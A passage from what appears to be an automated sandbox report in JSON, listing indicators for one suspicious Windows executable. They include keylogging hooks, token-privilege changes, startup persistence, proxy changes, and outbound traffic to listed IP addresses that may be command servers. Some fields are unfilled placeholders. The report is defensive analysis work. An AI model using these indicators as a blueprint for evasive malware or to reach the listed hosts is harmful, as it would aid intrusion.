Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"where a single '*' indicates a type variable tuple::\" (Indicator: \"where \"; Source: \"00000000-00003580.00000001.112940.02CA0000.00000004.mdmp\")\n Found string \"where the use of '**' creates a parameter specification::\" (Indicator: \"where \"; Source: \"00000000-00003580.00000001.112940.02CA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceA\" (Indicator: \"QueryDosDevice\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host name of a computer (API string)","description":"Found reference to API \"gethostname\" (Indicator: \"gethostname\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-532","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"_ctypes.DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00003580.00000000.111018.168B3000.00000002.mdmp\")\n Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00003580.00000000.111018.168B3000.00000002.mdmp, 00000000-00003580.00000001.112940.04FC0000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"secrets\" (Indicator: \"secret\"; Source: \"00000000-00003580.00000001.112940.04A60000.00000004.mdmp\")\n Found string \"secrets.pyc\" (Indicator: \"secret\"; Source: \"00000000-00003580.00000001.112940.04B70000.00000004.mdmp\")\n Found string \"C:\\ProgramData\\NexusSoftware\\felix1\\python313.zip\\secrets.pyc\" (Indicator: \"secret\"; Source: \"00000000-00003580.00000001.112940.04B70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueA\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"\n Found registry deletion API: \"RegDeleteKeyA\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003640)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: pcicapi.dll]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: PCICL32.DLL]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: TCCTL32.DLL]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: HTCTL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$74","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"CreateProcessAsUserA\" (Indicator: \"CreateProcessAsUser\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"SetWindowsHookExA\" (Indicator: \"SetWindowsHook\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"LookupPrivilegeValueA\" (Indicator: \"LookupPrivilegeValue\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$75","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to set/delete MS-DOS device name (API string)","description":"Found reference to API \"DefineDosDeviceA\" (Indicator: \"DefineDosDevice\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-466","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$76","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" opened \"\\Device\\KsecDD\"\n \"pythonw.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$77","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$78","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"OpenMutexA\" (Indicator: \"OpenMutex\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$79","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops file with high entropy, indicating encryption/obfuscation","description":"\"d8201d13-9cfd-46a9-a3ec-f0d0c917ee71.lic has high entropy\"\n \"fd900f40-0cbd-4cf3-8efd-f248ac7ed542.lic has high entropy\"","origin":"Binary File","mitre_attack_id":"T1560.003","relevance":3,"id":"binary-90","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"pythonw.exe.lnk\" - Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\pythonw.exe.lnk]- [targetUID: 00000000-00002512]\n Dropped file: \"StartupProfileData-Interactive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-Interactive]- [targetUID: 00000000-00003640]\n Dropped file: \"ModuleAnalysisCache\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00003640]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"LCMapStringEx\" (Source: a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe, API is part of module: KERNELBASE.DLL)\n Found string \"LocaleNameToLCID\" (Source: a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe, API is part of module: KERNELBASE.DLL)\n Found string \"AppPolicyGetProcessTerminationMethod\" (Source: a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe, API is part of module: KERNEL.APPCORE.DLL)\n Found string \"ldexp\" (Source: a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe, API is part of module: MSVCRT.DLL)\n Found string \"frexp\" (Source: a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe, API is part of module: MSVCRT.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"libcrypto-3.dll\" was detected as \"Microsoft Visual C++ 8.0\"\n \"libssl-3.dll\" was detected as \"Microsoft Visual C++ 8.0\"\n \"msedgewebview.exe\" was detected as \"Borland Delphi 3.0 (???)\"\n \"remcmdstub.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"python3.dll\" was detected as \"Microsoft Visual C++ vx.x DLL\"\n \"pcicapi.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"PCICL32.DLL\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"TCCTL32.DLL\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"HTCTL32.DLL\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3640)","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$7a","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (D)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"11/24 Antivirus vendors marked sample as malicious (45% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$7b","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 142.251.152.119\"\n \"UDP connection to 142.251.153.119\"","origin":"Network Traffic","mitre_attack_id":"T1095","relevance":1,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$7c","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"Installation/Persistence","name":"The input sample dropped/contains a certificate file","description":"$7d","origin":"Binary File","mitre_attack_id":"T1588.004","relevance":10,"id":"binary-12","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$7e","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 87.120.244.24 on port 443 is sent without HTTP header\n TCP traffic to 85.120.253.110 on port 443 is sent without HTTP header\n TCP traffic to 31.77.219.127 on port 443 is sent without HTTP header\n TCP traffic to 31.77.168.93 on port 443 is sent without HTTP header\n TCP traffic to 142.251.211.174 on port 80 is sent without HTTP header\n TCP traffic to 142.250.188.14 on port 443 is sent without HTTP header\n TCP traffic to 172.217.117.4 on port 443 is sent without HTTP header\n TCP traffic to 142.251.211.174 on port 443 is sent without HTTP header\n TCP traffic to 142.250.31.84 on port 443 is sent without HTTP header\n TCP traffic to 142.251.152.119 on port 443 is sent without HTTP header\n UDP traffic to 142.251.152.119 on port 443\n TCP traffic to 172.217.115.4 on port 443 is sent without HTTP header\n TCP traffic to 142.251.153.119 on port 443 is sent without HTTP header\n UDP traffic to 142.251.153.119 on port 443","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"pythonw.exe\" opened \"C:\\ProgramData\\NexusSoftware\\felix1\\pyarmor_runtime_000000\\__pycache__\\__init__.cpython-313.pyc.2362310367472\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_tuseizss.oc1.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ecgy5pmv.vzc.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0qogiro2.gxk.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pcc44xps.adi.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"$7f","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$80","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"vcruntime140.dll\" claims program is from Mon Nov 21 08:39:02 2033\n \"vcruntime140_1.dll\" claims program is from Thu Jun 10 23:23:34 1982\n \"pyarmor_runtime.pyd\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"CreateProcessW\" with parameter \"\"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pythonw.exe\" %ALLUSERSPROFILE%\\NexusSoftware\\felix1\\main.py\" - (UID: 00000000-00002512)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Uses Vector Exception Handler for anti-analysis","description":"\"RtlAddVectoredExceptionHandler\" API Checks 